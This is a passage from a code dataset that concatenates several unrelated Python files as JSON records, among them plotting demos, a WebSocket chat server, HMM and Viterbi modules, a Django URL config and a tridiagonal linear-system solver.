bottom',xy=(0,1),xytext=(0,20),arrowprops=dict(facecolor='r',headlength=5,headwidth=20,width=10))#注意理解这几个参数的含义\r\n\r\n#plt.text(-4,40,'function:y=x*x',family='fantasy',size=20,color='r',style='italic',weight='bold',bbox=dict(facecolor='c',alpha=0.2))#相当于设置一个插入文本框\r\n#前两个参数表示的是坐标,而family表示的是字体,size表示字的大小,style表示是否为斜体,weight表示粗细,bbox表示的是外框,facecolor颜色,alpha透明度\r\n\r\nfig=plt.figure()\r\n\r\nax=fig.add_subplot(111)\r\n\r\nax.set_xlim([1,7])\r\nax.set_ylim([1,5])\r\n\r\nax.text(2,4,r\"$ \\alpha_i \\beta_j \\pi \\lambda \\omega $\",size=20)#采用面向对象的方式\r\nax.text(4,4,r\"$ \\sin(0)=\\cos(\\frac{\\pi}{2}) $\",size=20)\r\nax.text(2,2,r\"$ \\lim_{x \\rightarrow y} \\frac{1}{x^3} $\",size=20)\r\nax.text(4,2,r\"$ \\sqrt[4]{x}=\\sqrt{y} $\",size=20)\r\n## r表示不转义\r\n\r\nplt.show()","sub_path":"math_model_learning/homework9.py","file_name":"homework9.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"68903138","text":"from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket\n\nchatPort = 3000\nchatClients = []\n\n\nclass Chat(WebSocket):\n\n def handleMessage(self):\n for client in chatClients:\n client.sendMessage(self.data)\n\n def handleConnected(self):\n chatClients.append(self)\n nums = r\"\"\"{ \"content\": \"当前共有\"\"\" + str(\n len(chatClients)) + r\"\"\"人在线\", \"type\": \"system\", \"nickName\": \"\", \"avatarUrl\": \"\" }\"\"\"\n for client in chatClients:\n client.sendMessage(nums)\n\n def handleClose(self):\n chatClients.remove(self)\n nums = r\"\"\"{ \"content\": \"当前共有\"\"\" + str(\n len(chatClients)) + r\"\"\"人在线\", \"type\": \"system\", \"nickName\": \"\", \"avatarUrl\": \"\" }\"\"\"\n for client in chatClients:\n client.sendMessage(nums)\n\n\nserver = SimpleWebSocketServer('', chatPort, Chat)\nserver.serveforever()\n","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"112897577","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# Date : 2018/12/11 17:33\r\n# Author : lixingyun\r\n# Description :\r\nfrom huomao.common import Common\r\nimport requests\r\nimport time\r\n\r\ndef send_gift(uid, cid, gift, t_count):\r\n url = f'http://lxy.new.huomaotv.com.cn/chatnew/sendGift?cid={cid}&gift={gift}&t_count={t_count}'\r\n ret = requests.get(url, cookies=Common.generate_cookies(uid))\r\n print(ret.json()['code'])\r\n return\r\n\r\n# send_gift(5523,2,8,1)\r\n# send_gift(36156,2,8,1)\r\n\r\nfor i in range(2):\r\n send_gift(5523, 2, 4, 1)\r\n time.sleep(2.9)\r\n\r\n","sub_path":"daily_script/new_gift/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"602277759","text":"from apps.date.models.tests_repository import REPOSITORY_PATH\nfrom apps.date.models.tests import Testsuite\n\nimport pickle\nimport os.path\n\n\ndef create_testsuites():\n t1 = Testsuite(\"testsuite1\")\n with open(os.path.join(REPOSITORY_PATH, \"testsuite1.json\"), 'wb+') as f:\n pickle.dump(t1, f)\n\n t2 = Testsuite(\"testsuite2\")\n with open(os.path.join(REPOSITORY_PATH, \"testsuite2.json\"), 'wb+') as f:\n pickle.dump(t2, f)\n\n t3 = Testsuite(\"testsuite3\")\n with open(os.path.join(REPOSITORY_PATH, \"testsuite3.json\"), 'wb+') as f:\n pickle.dump(t3, f)\n\nif __name__ == \"__main__\":\n create_testsuites()\n","sub_path":"fdk/db_setup.py","file_name":"db_setup.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"501042456","text":"#!/usr/bin/env python\nimport os, re, numpy as np\nfrom molecule import Molecule\nfrom processzmat import ProcessZmat\n\nclass Hessian(object):\n\n\tdef __init__(self,mol,templateString,disp=0.005):\n\n\t\tself.mol = mol\n\t\tself.N = len(self.mol)\n\t\tself.h = disp\n\n\t\tzmat = ProcessZmat(templateString)\n\t\tself.template = zmat.template\n\n\t\tself.dimH = 3*self.N-6\n\t\tif self.N == 2:\n\t\t\tself.dimH = 1\n\t\n\tdef makeInput(self,dirname,coords):\n\n\t\tTemplate = self.template.format(*coords) \n\t\ttemp = Molecule(Template,lengthUnits=\"Bohr\",angleUnits=\"Radian\")\n\t\ttemp.toAngstrom()\n\t\ttemp.toDegree()\n\n\t\tos.mkdir(\"{:s}\".format(dirname))\n\t\tf = open(\"{:s}/input.dat\".format(dirname),\"w\")\n\t\tf.write( self.template.format(*temp.coords) )\n\t\tf.close()\n\n\n\tdef runInput(self,dirname):\n\t\t\n\t\tos.chdir(dirname)\n\t\tos.system(\"psi4\")\n\t\tos.chdir(\"..\")\n\n\n\tdef find_E(self,i,j,hi,hj):\n\t\t\"\"\"\n\t\tPull energy from output.dat and throw an error if not found\n\t\t:params i,j: indices of atoms 1,2\n\t\t:params hi,hj: displacements of atoms 1,2 (-1, 0, or 1, corresponds to -h, 0, or h)\n\t\t\"\"\"\n\t\tdirname = \"Q%dQ%d_%d%d\" % (i,j,hi,hj)\n\t\tout_str = open(\"HESS/%s/output.dat\" % dirname, \"r\").read()\n\t\tmatch = re.findall(\"Total Energy\\s=\\s+-\\d+.\\d+\",out_str)\n\t\tif match == []:\n\t\t\tout = \"Cannot find energy!\"\n\t\telse:\n\t\t\tout = float(match[0].split()[-1])\n\t\treturn out\n\n\n\tdef runDisps(self):\n\t\t\n\t\th,N = self.h, self.N\n\t\tos.mkdir(\"HESS\")\n\t\tos.chdir(\"HESS\")\n\n\t\t## run reference configuration ##\n\t\tself.makeInput(\"Q0Q0_00\",self.mol.coords)\n\t\tself.runInput(\"Q0Q0_00\")\n\n\t\t## run single displacements ##\n\t\tfor i in range(self.dimH):\n\n\t\t\tforward = \"Q%dQ0_10\" % i\n\t\t\treverse = \"Q%dQ0_-10\" % i\n\t\t\tcoordCopy = self.mol.copy().coords\n\t\t\tcoordCopy[i] += h\n\t\n\t\t\tself.makeInput(forward,coordCopy)\n\t\t\tself.runInput(forward)\n\n\t\t\tcoordCopy[i] -=2*h\n\t\t\tself.makeInput(reverse,coordCopy)\n\t\t\tself.runInput(reverse)\n\t\t\n\t\t## run double displacements ##\t\n\n\t\tfor i in range(self.dimH):\n\t\t\tfor j in range(i):\n\t\t\t\tforward = \"Q{:d}Q{:d}_11\".format(i,j)\n\t\t\t\treverse = \"Q{:d}Q{:d}_-1-1\".format(i,j)\n\t\t\t\tcoordCopy2 = self.mol.copy().coords\n\t\t\t\t\n\t\t\t\tcoordCopy2[i] += h\n\t\t\t\tcoordCopy2[j] += h\n\n\t\t\t\tself.makeInput(forward,coordCopy2)\n\t\t\t\tself.runInput(forward)\n\n\t\t\t\tcoordCopy2[i] -= 2*h\n\t\t\t\tcoordCopy2[j] -= 2*h\n\n\t\t\t\tself.makeInput(reverse,coordCopy2)\n\t\t\t\tself.runInput(reverse)\n\n\t\tos.chdir(\"..\")\n\n\tdef makeHessian(self):\n\n\t\tself.runDisps()\n\n\t\th, N = self.h, self.N\n\t\tE0 = self.find_E(0,0,0,0)\n\t\tself.H = np.zeros((self.dimH,self.dimH))\n\n\t\tfor i in range(self.dimH):\n\t\t\tself.H[i,i]= (self.find_E(i,0,1,0)+self.find_E(i,0,-1,0)-2*E0)/(h**2)\n\t\t\tfor j in range(0,i):\n\t\t\t\tself.H[i,j] = (self.find_E(i,j,1,1)+self.find_E(i,j,-1,-1)-self.find_E(i,0,1,0)-self.find_E(j,0,1,0)-self.find_E(j,0,-1,0)-self.find_E(i,0,-1,0)+2*E0)\n\t\t\t\tself.H[i,j] /= 2*h**2\n\t\t\t\tself.H[j,i] = self.H[i,j]\n\n\n\tdef writeHessian(self):\n\t\t\"\"\"\n\t\twrite Hessian matrix to hessian.dat file\n\t\t\"\"\"\n\t\tself.makeHessian()\n\t\tnp.savetxt(\"hessian.dat\",self.H,\"%15.7f\",\" \",\"\\n\")\n\t\t\nif __name__ == '__main__':\n\tf = open(\"template.dat\",\"r\").read()\n\tmol = Molecule(f)\n\tmol.toBohr()\n\tmol.toRadian()\n\ttest = Hessian(mol,f)\n\ttest.writeHessian()\n\n","sub_path":"extra-programming-projects/gf-matrix/aewiens/f-matrix/hessian.py","file_name":"hessian.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"615507036","text":"# movie_player.py\n\n\"\"\"\nREADME: currently unfinished, will work on later. For now, use `build.lua`\n\nPython script translation of `build.lua`. Assumes the images have already been\nextracted with FFMPEG or other. A little simpler, as this is more Python's forte\nthan Lua's.\n\"\"\"\n\nimport imageio\n\nimport os\n\ndef main():\n # Load palette\n palette = {}\n pixels = imageio.imread(\"palette.bmp\")\n for i in range(7):\n palette[tuple(pixels[0][i])] = i\n\n print(palette)\n\n # Load images list\n files = []\n for f in os.listdir(\"images\"):\n file_path = os.path.join(\"images\", f)\n if os.path.isfile(file_path):\n files.append(file_path)\n\n # Process images\n total_frames = 0\n for index, file in enumerate(files):\n print(\"processing {}\".format(file))\n\n pixels = imageio.imread(file)\n print(pixels)\n\n count = 0\n for x in range(178):\n for y in range(100):\n color = palette[tuple(pixels[x][y])] or 0\n position = y_wire[y] + ((x-1)%3)*5\n if (y <= 50):\n top_signals[position] = top_signals[position] + color * y_shift[y]\n else:\n bottom_signals[position] = bottom_signals[position] + color * y_shift[y]\n\n # for index, file in pairs(files) do\n # print(\"processing \"..file)\n # pixels = LoadBitmap(file)\n\n # local count = 0\n # for x = 1,178 do \n # for y = 1,100 do\n # local color = palette[pixels[x][y]] or 0\n # local position = y_wire[y] + ((x-1)%3)*5\n # if (y <= 50) then\n # top_signals[position] = top_signals[position] + color * y_shift[y]\n # else\n # bottom_signals[position] = bottom_signals[position] + color * y_shift[y]\n # end\n # end\n # count = count + 1\n # if (count == 3) then\n # writeCombinator()\n # count = 0\n # end\n # end\n # writeCombinator()\n # total_frames = total_frames + 1\n # end\n\n print(\"Total number of movie frames:\", total_frames)\n\nif __name__ == \"__main__\":\n main()","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"138262328","text":"'''This file contains the methods for the Viterbi algorithm implemented in an a upward recursion.'''\nimport numpy as np\n\n\ndef get_leaf_deltas(tHMMobj):\n \"\"\"delta matrix and base case at the leaves. Each element in this N by K matrix is the probability for the leaves P(x_n = x | z_n = k).\"\"\"\n numStates = tHMMobj.numStates\n\n EL = tHMMobj.EL\n\n deltas = []\n state_ptrs = []\n\n for num, lineageObj in enumerate(\n tHMMobj.X): # for each lineage in our Population\n # getting the lineage in the Population by index\n lineage = lineageObj.output_lineage\n EL_array = EL[num] # geting the EL of the respective lineage\n # instantiating N by K array\n delta_array = np.zeros((len(lineage), numStates))\n state_ptrs_array = np.empty(\n (len(lineage), numStates), dtype=object) # instantiating N by K array\n\n for cell in lineage: # for each cell in the lineage\n if cell._isLeaf(): # if it is a leaf\n # get the index of the leaf\n leaf_cell_idx = lineage.index(cell)\n delta_array[leaf_cell_idx, :] = EL_array[leaf_cell_idx, :]\n\n deltas.append(delta_array)\n state_ptrs.append(state_ptrs_array)\n return deltas, state_ptrs\n\n\ndef get_nonleaf_deltas(tHMMobj, deltas, state_ptrs):\n '''Calculates the delta values for all non-leaf cells.'''\n numStates = tHMMobj.numStates\n\n EL = tHMMobj.EL\n\n for num, lineageObj in enumerate(\n tHMMobj.X): # for each lineage in our Population\n # getting the lineage in the Population by index\n lineage = lineageObj.output_lineage\n T = tHMMobj.estimate.T # getting the transition matrix of the respective lineage\n EL_array = EL[num] # geting the EL of the respective lineage\n\n # move up one generation until the 2nd generation is the children\n # and the root nodes are the parents\n for level in lineageObj.output_list_of_gens[2:][::-1]:\n parent_holder = lineageObj._get_parents_for_level(level)\n\n for node_parent_m_idx in parent_holder:\n for state_k in range(numStates):\n fac1, max_state_ptr = get_delta_parent_child_prod(numStates=numStates,\n lineage=lineage,\n delta_array=deltas[num],\n T=T,\n state_k=state_k,\n node_parent_m_idx=node_parent_m_idx)\n fac2 = EL_array[node_parent_m_idx, state_k]\n deltas[num][node_parent_m_idx, state_k] = fac1 * fac2\n state_ptrs[num][node_parent_m_idx,\n state_k] = max_state_ptr\n\n\ndef get_delta_parent_child_prod(\n numStates, lineage, delta_array, T, state_k, node_parent_m_idx):\n '''Calculates the delta coefficient for every parent-child relationship of a given parent cell in a given state.'''\n delta_m_n_holder = [] # list to hold the factors in the product\n max_state_ptr = []\n # get the index of the parent\n node_parent_m = lineage[node_parent_m_idx]\n children_idx_list = [] # list to hold the children\n\n if node_parent_m.left:\n node_child_n_left_idx = lineage.index(node_parent_m.left)\n children_idx_list.append(node_child_n_left_idx)\n\n if node_parent_m.right:\n node_child_n_right_idx = lineage.index(node_parent_m.right)\n children_idx_list.append(node_child_n_right_idx)\n\n for node_child_n_idx in children_idx_list:\n delta_m_n, state_ptr = delta_parent_child_func(numStates=numStates,\n lineage=lineage,\n delta_array=delta_array,\n T=T,\n state_j=state_k,\n node_parent_m_idx=node_parent_m_idx,\n node_child_n_idx=node_child_n_idx)\n delta_m_n_holder.append(delta_m_n)\n max_state_ptr.append((node_child_n_idx, state_ptr))\n\n # calculates the product of items in a list\n result = np.prod(delta_m_n_holder)\n return result, max_state_ptr\n\n\ndef delta_parent_child_func(numStates, lineage, delta_array, T, state_j, node_parent_m_idx, node_child_n_idx):\n '''Calculates the delta value for a single parent-child relationship where the parent is in a given state.'''\n assert lineage[node_child_n_idx].parent is lineage[node_parent_m_idx] # check the child-parent relationship\n # if the child-parent relationship is correct, then the child must be\n # either the left daughter or the right daughter\n assert lineage[node_child_n_idx]._isChild()\n max_holder = [] # maxing over the states\n for state_k in range(numStates): # for each state k\n # get the already calculated delta at node n for state k\n num1 = delta_array[node_child_n_idx, state_k]\n # get the transition rate for going from state j to state k\n num2 = T[state_j, state_k]\n # P( z_n = k | z_m = j)\n max_holder.append(num1 * num2)\n\n return max(max_holder), np.argmax(max_holder)\n\n\ndef Viterbi(tHMMobj, deltas, state_ptrs):\n '''Runs the viterbi algorithm and returns a list of arrays containing the optimal state of each cell.'''\n all_states = []\n\n for num, lineageObj in enumerate(tHMMobj.X):\n lineage = lineageObj.output_lineage\n pi = tHMMobj.estimate.pi\n delta_array = deltas[num]\n state_ptrs_array = state_ptrs[num]\n\n opt_state_tree = np.zeros((len(lineage)), dtype=int)\n possible_first_states = np.multiply(delta_array[0, :], pi)\n opt_state_tree[0] = np.argmax(possible_first_states)\n for level in lineageObj.output_list_of_gens[1:]:\n for cell in level:\n parent_idx = lineage.index(cell)\n temp = cell._get_daughters()\n for n in temp:\n child_idx = lineage.index(n)\n parent_state = opt_state_tree[parent_idx]\n temp = state_ptrs_array[parent_idx, parent_state]\n for child_state_tuple in temp:\n if child_state_tuple[0] == child_idx:\n opt_state_tree[child_idx] = child_state_tuple[1]\n\n all_states.append(opt_state_tree)\n\n first_state_count = [0] * tHMMobj.numStates\n for num, lineageObj in enumerate(tHMMobj.X):\n first_cell_state = all_states[num][0]\n first_state_count[first_cell_state] += 1\n tHMMobj.estimate.pi = np.array(first_state_count) / sum(first_state_count)\n\n return all_states\n","sub_path":"lineage/Viterbi.py","file_name":"Viterbi.py","file_ext":"py","file_size_in_byte":6977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"642948110","text":"from heapq import heappush, heappop, heapify\r\ndef rUp(x, y):\r\n if x % y != 0:\r\n return 1 + (x // y)\r\n return x // y \r\n\r\nfor tc in range(int(input())):\r\n N, K = [int(x) for x in input().split()]\r\n arr = [int(x) for x in input().split()]\r\n \r\n h = []\r\n for a, b in zip(arr, arr[1:]):\r\n h.append((a - b, 1, b - a))\r\n \r\n heapify(h)\r\n \r\n for i in range(K):\r\n score, mid, gap = heappop(h)\r\n \r\n heappush(h, (-rUp(gap, mid + 1), mid + 1, gap))\r\n print(\"Case #{}: {}\".format(tc + 1, -h[0][0]))","sub_path":"Round A/pilates.py","file_name":"pilates.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"284085414","text":"#coding=utf8\n\n\nimport logging\nimport pandas as pd\nimport numpy as np\nimport datetime\nimport calendar\nfrom sqlalchemy import *\nfrom cal_tech_indic import CalTechIndic as CalTec\nfrom hmmlearn.hmm import GaussianHMM, MultinomialHMM\nfrom scipy.stats import boxcox\nfrom scipy import stats\nfrom utils import day_2_week\nfrom sklearn.preprocessing import normalize\nfrom cal_tech_indic import CalTechIndic as CalTec\nimport warnings\n\n\nwarnings.filterwarnings('ignore')\nlogger = logging.getLogger(__name__)\n\n\nclass TimingHmm(object):\n\n def __init__(self, ori_data, timing, trade_dates, start_date = '20120727'):\n\n self.start_date = start_date\n self.state_num = 5\n self.ass_id = timing['tc_index_id']\n self.ori_data = self.preprocess_data(ori_data, timing['tc_index_id'], trade_dates)\n self.feature_selected = {\n '120000001':list(['bias', 'pct_chg', 'priceosc', 'roc']),\n '120000002':list(['sobv', 'pct_chg', 'bias', 'pvt']),\n '120000013':list(['sobv', 'pct_chg', 'vstd', 'macd']),\n '120000014':list(['vstd', 'pct_chg', 'roc', 'wvad']),\n '120000015':list(['priceosc', 'pct_chg', 'bias', 'roc']),\n '120000028':list(['macd', 'pct_chg', 'atr']),\n '120000029':list(['priceosc', 'pct_chg', 'bias', 'roc']),\n }\n # 隐形状态数目\n self.features = ['macd', 'atr', 'cci', 'rsi', 'sobv', 'mtm', 'roc', \\\n 'slowkd', 'pct_chg', 'pvt', 'wvad', 'priceosc', \\\n 'bias', 'vma', 'vstd', 'dpo']\n # 模型训练最多能用到的样本数, 34为计算技术指标所消耗的样本数\n max_train_num = len(ori_data[:start_date]) - 34 - 1\n # 最多只使用249个(5年)的样本, 避免加入过于久远的数据\n self.train_num = max_train_num if max_train_num < 249 else 249\n\n\n def preprocess_data(self, df_nav, asset_id, trade_dates):\n if asset_id == '120000013':\n self.state_num = 3\n asset_id = int(asset_id)\n av_selection = {120000001: 'volume', 120000002:'volume', 120000013:'volume',\n 120000014:'volume', 120000015:'amount', 120000028:'volume',\n 120000029:'volume'}\n df_nav = df_nav.rename(columns={'tc_open':'open', 'tc_high':'high', 'tc_close':'close', 'tc_low':'low', 'tc_volume':'volume', 'tc_amount':'amount'})\n df_nav['volume'] = df_nav[av_selection[asset_id]]\n columns = ['open', 'high', 'low', 'close', 'volume']\n df_nav = df_nav[columns]\n trade_dates.columns = ['trade_type']\n trade_dates.index.name = 'date'\n df_nav['volume'] = df_nav['volume'].replace(0, np.nan)\n df_nav = df_nav.fillna(method = 'ffill').fillna(method = 'bfill')\n df_nav = day_2_week(df_nav, trade_dates)\n return df_nav\n\n\n def cal_indictor(self):\n cal_tec_obj = CalTec(self.ori_data)\n self.ori_data = cal_tec_obj.get_indic()\n self.ori_data.dropna(inplace=True)\n\n @staticmethod\n def training(t_data, features, state_num):\n \"\"\"\n\n :param t_data: 用来训练的数据\n :param features: 训练用到的特征\n :param state_num: 隐形状态数目\n :return: [transit matrix, [mean, variance]], mean and variance 是正态分布的\n \"\"\"\n # 特征数据\n fea_data = []\n for feature in features:\n fea_data.append(t_data[feature])\n\n X = np.column_stack(fea_data)\n model = GaussianHMM(n_components=state_num, covariance_type=\"diag\", \\\n random_state = 0, n_iter=5000) #, params=\"st\", init_params=\"st\")\n model = model.fit(X)\n states = model.predict(X)\n return [model, states]\n\n def predict(self, p_data, model, features):\n \"\"\"\n :usage: 样本外预测\n :param p_data: 待预测数据\n :param model: 训练得到的模型\n :return: 收益、最大回撤、胜率等指标\n \"\"\"\n # 特征数据\n fea_data = []\n for feature in features:\n fea_data.append(p_data[feature])\n X = np.column_stack(fea_data)\n states = model.predict(X)\n return states\n\n @staticmethod\n def cal_stats_pro(model, states, ratio):\n trans_mat_today = model.transmat_[states[-1]]\n next_day_state = np.argmax(trans_mat_today)\n next_day_mean = model.means_[next_day_state, 1]\n return next_day_mean\n\n def timing(self):\n \"\"\"\n :usage: 执行程序\n :return: None\n \"\"\"\n self.cal_indictor()\n feature_predict = self.feature_selected[self.ass_id]\n all_dates = self.ori_data.index\n p_s_date = all_dates[0]\n p_in_date = all_dates[self.train_num]\n p_e_date = all_dates[-1]\n p_s_num = 0\n p_in_num = self.train_num\n means_arr = []\n all_data = self.ori_data[p_in_date:]\n while p_in_date <= p_e_date:\n p_s_num += 1\n p_in_num += 1\n p_data = self.ori_data[p_s_date:p_in_date]\n ratios = np.array(p_data['pct_chg'])\n [model, states] = self.training(p_data, list(feature_predict), self.state_num)\n means = self.cal_stats_pro(model, states, ratios)\n #print p_in_date, np.sign(means)\n means_arr.append(means)\n if p_in_date != p_e_date:\n p_s_date = all_dates[p_s_num]\n p_in_date = all_dates[p_in_num]\n else:\n p_in_date += datetime.timedelta(days=1)\n\n ####### state statistic\n union_data_tmp = {}\n union_data_tmp[\"view\"] = means_arr\n union_data_tmp = pd.DataFrame(union_data_tmp, index = all_data.index)\n union_data_tmp = union_data_tmp[self.start_date:]\n union_data_tmp.index.name = 'tc_date'\n union_data_tmp['tc_signal'] = np.sign(union_data_tmp['view'])\n return union_data_tmp\n\nif __name__ == \"__main__\":\n ori_data = pd.read_csv('tmp/120000001_ori_week_data.csv', index_col = 0, \\\n parse_dates = True)\n vw_view = pd.Series({'vw_asset_id': '120000001'})\n hmm = HmmNesc(ori_data, vw_view, start_date = '20120727')\n result = hmm.handle()\n print(result)\n","sub_path":"asset_allocation_v2/shell/TimingHmm.py","file_name":"TimingHmm.py","file_ext":"py","file_size_in_byte":6236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"230635323","text":"from django.conf.urls import url\nfrom django.views.generic import RedirectView\nfrom . import views\n\n\nurlpatterns = [\n url(r'^article_list$', views.ArticleListView.as_view(), name='article_list'),\n url(r'^photo_list$', views.StandalonePhotoListView.as_view(), name='photo_list'),\n url(r'^article/(?P\\d+)/$', views.article_detail, name='article_detail'),\n url(r'^tag/(?P[-\\w]+)/$', views.TagListView.as_view(), name='tag_list'),\n url(r'^photo/(?P\\d+)/$', views.photo_detail, name='photo_detail'),\n url(r'^$', RedirectView.as_view(url='article_list')),\n]\n","sub_path":"myemoticon/emoticon/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"158327514","text":"import numpy\nimport matplotlib.pyplot as plt\nfrom scipy import linalg\nimport sys\n#makes the vectors of the tridiagonal matrix. You choose the size of the vectors.\ndef selectsize(size):\n\ta=numpy.ones(size-1)\n\tb=numpy.ones(size)\n\tc=numpy.ones(size-1)\n\treturn(a*(-1),b*2,c*(-1))\n\n#Uses the vectors to build the tridiagonal matrix.\ndef buildmatrix(vectora, vectorb, vectorc):\n\tA=numpy.zeros((len(vectorb),len(vectorb)))\n\tfor i in range(len(vectora)):\n\t\tA[i+1,i]=vectora[i]\n\tfor i in range(len(vectorb)):\n\t\tA[i,i]=vectorb[i]\n\tfor i in range(len(vectorc)):\n\t\tA[i,i+1]=vectorc[i]\n\treturn(A)\n\nN = 100\na,b,c=selectsize(N)\nD=buildmatrix(a,b,c)\n\n#print(D)\n\n\nE=D.copy()\nF=D.copy()\nG=D.copy()\n#first attempt on row reduction. Does not work, it does not modyfy all the elements of each row:\n#for j in range(D.shape[0]-1):\n#\tfor i in range(D.shape[0]):\n#\t\tff=D[j,j]\n#\t\tD[j+1,i]=D[j+1,i]-D[j,i]*D[j+1,j]/ff\n#\t\tprint(D)\n\n#makes the vector f(x)\nfunc = lambda x: 100*numpy.exp(-10*x)\na = numpy.linspace(0,1,N+2) #values on the 1. axis\nf = numpy.zeros(N)\n\nprint (a)\nprint (a[1:N])\n\nprint (len(a))\nprint (len(a[1:N]))\n\nf[:] = func(a[1:N+1])\n\n\n#print(f)\n\n#print(\"tridiagonal matrix before reduction:\")\n#print(E)\n\n#second attempt on row reduction. works well:\n\nfor jjj in range(E.shape[0]-1):\n\n\tff=E[jjj+1,jjj]/E[jjj,jjj]\n\tE[jjj+1,:]=E[jjj+1,:]-E[jjj,:]*ff\nprint(\"tridiagonal matrix after first step of reduction:\")\nprint(E)\n\nfor jjj in reversed(range(1,E.shape[0])):\n\tff=E[jjj-1,jjj]/E[jjj,jjj]\n\tE[jjj-1,:]=E[jjj-1,:]-E[jjj,:]*ff\n#print(\"tridiagonal matrix after reduction:\")\n#print(E)\n\n# intention of this function: solve the equation Ev=q\ndef solveequation(E,q):\n\tv=q.copy()\n\th=1/q.size\n\tv=v*h**2\n\t\n\tfor jjj in range(E.shape[0]-1):\n\t\tff=E[jjj+1,jjj]/E[jjj,jjj]\n\t\tE[jjj+1,:]=E[jjj+1,:]-E[jjj,:]*ff\n\t\tv[jjj+1]=v[jjj+1]-v[jjj]*ff\n\tprint(E)\n\tfor jjj in reversed(range(1,E.shape[0])):\n\t\tff=E[jjj-1,jjj]/E[jjj,jjj]\n\t\tE[jjj-1,:]=E[jjj-1,:]-E[jjj,:]*ff\n\t\tv[jjj-1]=v[jjj-1]-v[jjj]*ff\n\t\n\tfor jjj in range(E.shape[0]):\n\t\tv[jjj]=v[jjj]/E[jjj,jjj]\n\n\treturn v\n\ndef solveequationAlternative(E,q):\n\tv=q.copy()\n\th=1.0/q.size\n\tv=v*h**2\n\tN=E.shape[0]\n\t#print(v)\n\tfor jjj in range(N-1):\n\t\tff=-1/E[jjj,jjj]\n\t\tE[jjj+1,:]=E[jjj+1,:]-E[jjj,:]*ff\n\t\tv[jjj+1]=v[jjj+1]-v[jjj]*ff\n\t\t#print(v)\n\t\n\t\n\tsolution = numpy.zeros(N)\n\tsolution[N-1] = v[N-1]/E[N-1,N-1]\n\n\t#for j in reversed(range(2,N+1)):\t\n\tfor k in range(2,N+1):\n\t\t#print (j)\n\t\tj = N-k\t\n\t\tsolution[j] = (v[j]-E[j,j+1]*solution[j+1])/-1\n\treturn solution\n\n#to test the equation solver:\nv=solveequation(F,f)\n\n\n#solution vector u\nfunc = lambda x: 1-(1-numpy.exp(-10))*x-numpy.exp(-10*x)\ng = numpy.linspace(0,1,N+2)\nu = numpy.zeros(N)\nu[:] = func(g[1:N+1])\n\n#plt.plot(g[1:N+1], u, 'r',g[1:N+1], v, 'b')\n#plt.legend([\"Exact\",\"Numerical\"])\n#plt.show()\n\ndef uppertriangular(v):\n\tq=v.copy() \n\tN=len(q)\n\th=1/N\n\t\n\tA=numpy.zeros((N,N))\n\tA[0,0]=2\n\tfor i in range(N-1):\n\t\tA[i+1,i+1]=2-1/A[i,i]\n\t\tq[i+1]=v[i+1]+v[i]/A[i,i]\n\t\tA[i,i+1]=-1\n\tq=q*h**2\t\n\tsolution=numpy.zeros(N)\n\tsolution[N-1]=q[N-1]/A[N-1,N-1]\n\t\n\t#print(\"reduced matrix:\")\t\n\t#print (A)\n\tfor i in range(2,N+1):\n\t\tk=N-i\n\t\t#k=i\n\t\tprint(k)\n\t\tsolution[k]=(q[k]+solution[k+1])/A[k,k]\n\t\t\n\treturn(solution)\n\n#def uppertriangular(N): #N is the dimension\n#\tA=numpy.zeros((N,N))\n#\tA[0,0]=2\n#\tfor i in range(N):\n#\t\tA[i,i]=(i+2)/(i+1)\n#\t\n#\tfor i in range(N-1):\n##\t\tA[i,i+1]=-1\n#\treturn(A)\nsolution = solveequation(E,f)\n#solution=uppertriangular(f)\n#sol2=solveequationAlternative(E,f)\nplt.figure()\nplt.plot(g[1:N+1], solution, 'r',g[1:N+1], v, 'b')\n#plt.figure()\n#plt.plot(g[1:N+1], sol2, 'r',g[1:N+1], v, 'b')\nplt.show()\n\n\n","sub_path":"Project1/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"558629953","text":"import json\n\ndef parseProjectJson():\n objectData = None\n relationshipData = None\n with open('object1_object2.json') as f:\n objectData = json.load(f)\n f.close()\n \n with open('relationship.json') as f:\n relationshipData = json.load(f)\n f.close()\n return objectData, relationshipData","sub_path":"parseJson.py","file_name":"parseJson.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"500376963","text":"# from datatime import datatime, timedelta\n\n# pessoa = {\n# 'ano' :'',\n# 'mes' :'',\n# 'dia' :''\n# }\n\n# for chave in pessoa:\n# pessoa[str(chave)] = int(input('Digite o '+str(chave)))\n\n# print (pessoa)\n\n# def copa_do_mundo(pais,*anos):\n# print(f'País: {pais}')\n\n# for year in anos:\n# print (f'ano: {year}')\n\n# copa_do_mundo('Brasil', '1958', '1962', '1970', '1994', '2002')\n\ndef copa_do_mundo(pais, **kargs):\n sede = kargs.get('sede')\n ano = kargs.get('ano')\n\n if sede:\n print(f'sede: {sede}')\n\n if ano:\n print(f'Ano: {ano}')\n\n print (pais)\n\ncopa_do_mundo('Brasil', sede=\"México\", 